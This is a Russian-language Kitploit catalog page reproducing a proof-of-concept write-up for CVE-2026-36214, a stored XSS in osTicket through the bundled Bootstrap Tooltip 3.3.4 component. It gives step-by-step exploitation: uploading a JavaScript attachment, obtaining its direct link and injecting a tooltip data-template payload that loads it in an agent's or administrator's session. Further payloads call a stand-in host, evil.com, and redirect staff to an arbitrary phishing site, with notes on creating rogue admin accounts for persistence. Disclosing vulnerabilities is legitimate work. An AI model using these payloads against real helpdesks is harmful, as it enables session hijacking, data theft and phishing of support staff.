Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-36214 — Хранимый межсайтовый скриптинг (XSS) в osTicket через уязвимый компонент Bootstrap Tooltip | Kitploit
Инструменты/GitHubGitHub/weswrench/cve-2026-36214
Инструменты фишингаАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на Проникновение
GitHubweswrench/cve-2026-36214

CVE-2026-36214

Хранимый межсайтовый скриптинг (XSS) в osTicket через уязвимый компонент Bootstrap Tooltip

Репозиторий
162 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-36214 - Хранимая межсайтовая сценарная уязвимость (XSS) в osTicket через уязвимый компонент Bootstrap Tooltip

Описание

Версии Enhancesoft osTicket с 1.10 по 1.17.7 и с 1.18.0 по 1.18.3 поставляются с заведомо уязвимым компонентом Bootstrap Tooltip 3.3.4 (CVE-2019-8331), который приводит к появлению хранимой межсайтовой сценарной уязвимости (XSS). В конфигурации osTicket по умолчанию отправители заявок («пользователи») могут создавать заявки без предварительной аутентификации, а самостоятельная регистрация пользователей открыта по умолчанию. Удалённый пользователь может сформировать вредоносное сообщение заявки, которое, несмотря на прохождение через модуль очистки HTML htmlLawed, приводит к выполнению произвольного JavaScript в браузере любого просматривающего его агента или администратора. Проблема усугубляется тем, что загруженные пользователем JavaScript-файлы обслуживаются с типом Content-Type, предназначенным для выполнения JavaScript (text/javascript), что позволяет браузерам интерпретировать их как активное содержимое. Хотя встроенные (inline) полезные нагрузки ограничены тем, как Bootstrap Tooltip 3.3.4 разбирает значение data-template в объект jQuery и вставляет его в DOM с помощью appendTo() или insertAfter(), выполнение контролируемого атакующим кода в виде внешнего скрипта позволяет обойти эти ограничения и обеспечивает более мощную эксплуатацию уязвимости.

Затронутые версии

  • Протестировано и подтверждено, что уязвимы:

    • osTicket 1.18.2
    • osTicket 1.18.3
  • Затронутые версии:

    • v1.10 - v1.17.8 (исключая)
    • v1.18 - v1.18.4 (исключая)

Этот компонент присутствует в кодовой базе osTicket с 13 мая 2015 года, о чём свидетельствуют:

  • Файл: scp/js/bootstrap-tooltip.js
  • Коммит: e5a28410ae7c238932eef07c2b3568da015a792c

Этот коммит связан с тегами релизов osTicket, начиная с версии 1.10, что указывает на то, что уязвимый компонент Bootstrap Tooltip был включён в широкий диапазон релизов osTicket на протяжении нескольких основных версий. Такое долгосрочное включение позволяет предположить, что затронуто множество версий osTicket, выпущенных за несколько лет.


1. Обзор

osTicket — это широко используемая система тикетов с открытым исходным кодом, которая позволяет конечным пользователям отправлять расширенное HTML-содержимое и файловые вложения при создании заявок и ответах на них.

osTicket определяет три основные категории пользователей:

  • Администратор
    • Полный административный доступ
    • Глобальная конфигурация, пользователи, роли, плагины
  • Агент
    • Доступ для работы с заявками
    • Может просматривать, отвечать, передавать и закрывать заявки
  • Пользователь (клиент / конечный пользователь)
    • Имеет доступ только к клиентскому порталу
    • Может создавать и просматривать собственные заявки

Любое HTML-содержимое, отправленное пользователем, впоследствии может быть отображено в браузере агента или администратора, что делает клиентские уязвимости особенно значимыми.


2. Доказательство концепции

Сначала аутентифицируйтесь с помощью учётной записи конечного пользователя и перейдите на страницу создания заявки.
Затем создайте JavaScript-файл (например, test.js), содержащий полезную нагрузку. Например:

root@kitploit:~
alert(123);

Примечание: по умолчанию osTicket разрешает вложения в заявки без ограничений по типу файлов.

Загрузите JS-файл

Затем отправьте заявку, нажав «Создать заявку», не указывая «Детали обращения».

Приложение перенаправит нас обратно на форму отправки заявки с ошибкой «Детали обращения — обязательное поле».
На этой странице мы можем получить прямую ссылку для скачивания нашего JavaScript-файла (test.js), фактически не отправляя заявку.

Получите прямую ссылку на загруженный JS-файл

Content-Type загруженного JS-файла

Получив эту ссылку, вернитесь к форме отправки заявки.
Нажмите на HTML-редактор и вставьте эту полезную нагрузку, заменив атрибут src тега script на ссылку, полученную ранее.

root@kitploit:~
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='[LINK_HERE]'>"></div>
<input>

Ниже приведён пример полной полезной нагрузки, где шаблон [LINK_HERE] заменён ссылкой, полученной ранее:

root@kitploit:~
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='http://localhost:8080/file.php?key=rjfge-qlcmbwgnsfl8hhwktyhctre-_e&expires=1768780800&signature=5044f8201f041228de077a2e025e6fc118b31223'>"></div>
<input>

Затем отправьте заявку.

Отправка вредоносной полезной нагрузки

Когда администратор или агент открывает нашу вредоносную заявку, полезная нагрузка срабатывает.

Полезная нагрузка сработала

Результат:
Когда администратор/агент открывает вредоносную заявку, JavaScript-полезная нагрузка загружается и выполняется в контексте сессии администратора/агента.

Это приводит к хранимой XSS, позволяющей полностью скомпрометировать сессию (например, через ezXSS, CSRF для выполнения действий от имени администратора/агента).


3. Воздействие

Компрометация агента

Если вредоносную заявку просматривает агент, хранимая XSS выполняется в контексте аутентифицированной сессии агента.

Это позволяет атакующему фактически захватить сессию агента без необходимости извлекать cookie сессии (например, даже в сценариях, где эксфильтрация cookie непрактична и используется платформа blind-XSS, такая как ezXSS). После срабатывания XSS атакующий может выполнять любые действия, доступные скомпрометированному агенту, например:

  • Просматривать заявки, доступные этому агенту (часто включая большую часть службы поддержки)
  • Скачивать и просматривать вложения к заявкам
  • Отвечать на заявки и взаимодействовать с пользователями
  • Передавать, закрывать или иным образом изменять статус заявки
  • Добавлять внутренние заметки (если разрешено)

В результате полностью нарушаются операционные возможности агента, а также конфиденциальность и целостность процесса обработки заявок.

Компрометация администратора

Если вредоносную заявку просматривает администратор, воздействие возрастает до полной компрометации приложения. Атакующий может:

  • Захватить сессию администратора
  • Изменять глобальную конфигурацию (настройки, разрешения, ...)
  • Вызвать отказ в обслуживании, изменяя критически важные значения конфигурации
  • Изменять административные «страницы»/шаблоны, что позволяет проводить глобальную дефейс-атаку и фишинг в интерфейсе приложения
  • Создавать новые учётные записи агентов и/или администраторов для закрепления в системе

Примечание об ограничении загрузки файлов и политике безопасности содержимого

Хотя конфигурация osTicket по умолчанию разрешает загрузку JavaScript-файлов, osTicket можно настроить в панели администратора таким образом, чтобы конечный пользователь не мог загружать JavaScript-файлы.

Кроме того, панель управления персоналом, используемая агентами и администраторами, применяет политику безопасности содержимого, которая предотвращает выполнение JavaScript, поступающего со сторонних доменов.
Рассмотрим следующую полезную нагрузку в качестве примера:

root@kitploit:~
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='http://evil.com'></object>"></div>
<input>

На скриншоте ниже показано, что загрузка скрипта с https://evil.com была заблокирована политикой безопасности содержимого, применяемой в панели управления персоналом.

Полезная нагрузка заблокирована CSP

Однако политика безопасности содержимого, реализованная в приложении, разрешает встроенный JavaScript.

CSP в панели агента/администратора

В случае, если загрузка JavaScript-файлов заблокирована, атакующий всё равно может выполнять вредоносные действия. Рассмотрим полезную нагрузку ниже:

root@kitploit:~
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template=""></div>
<input>

Полезная нагрузка Base64 декодируется в:

root@kitploit:~
<script>top.location = "https://example.com";</script>

Эта полезная нагрузка позволяет атакующему перенаправить агента или администратора, просматривающего вредоносную заявку, на произвольный веб-сайт, например фишинговый.

Вот результат после просмотра заявки, содержащей указанную выше полезную нагрузку.

Перенаправление на произвольный веб-сайт

Скачать инструмент